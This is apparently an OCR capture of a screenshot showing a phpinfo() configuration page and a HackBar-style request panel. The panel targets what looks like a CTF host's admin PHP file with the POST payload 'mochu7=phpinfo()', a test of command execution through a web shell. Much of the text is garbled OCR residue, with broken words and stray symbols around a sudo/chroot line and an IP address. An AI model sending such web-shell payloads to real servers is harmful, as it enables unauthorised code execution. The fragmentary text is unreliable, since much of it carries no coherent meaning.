Configuration File (php.ini) Path /usr/local/etc/php
Loaded Configuration File (none)

Scan this dir for additional .ini files

/usr/local/etc/php/conf.d

Additional .ini files parsed

& Load URL bmzclub.cn:20351/bmzadmin.php

§ splitURL
) Execute

Postdata [ Referer [] User Agent [] Cookies Clear Al

mochu7=phpinfo()

E8SEI, sudo -1 &ILZETH AT Chroot B 4y 04T BT A R A1E

>~ 106.75.101.133

E LI E

ashelp TEHAImS

=

/usr/local/etc/php/conf.d/docker-php-ext-mysqli.ini, /usr/local/etc/php/conf.d/docker-php-ext-
ni D ini
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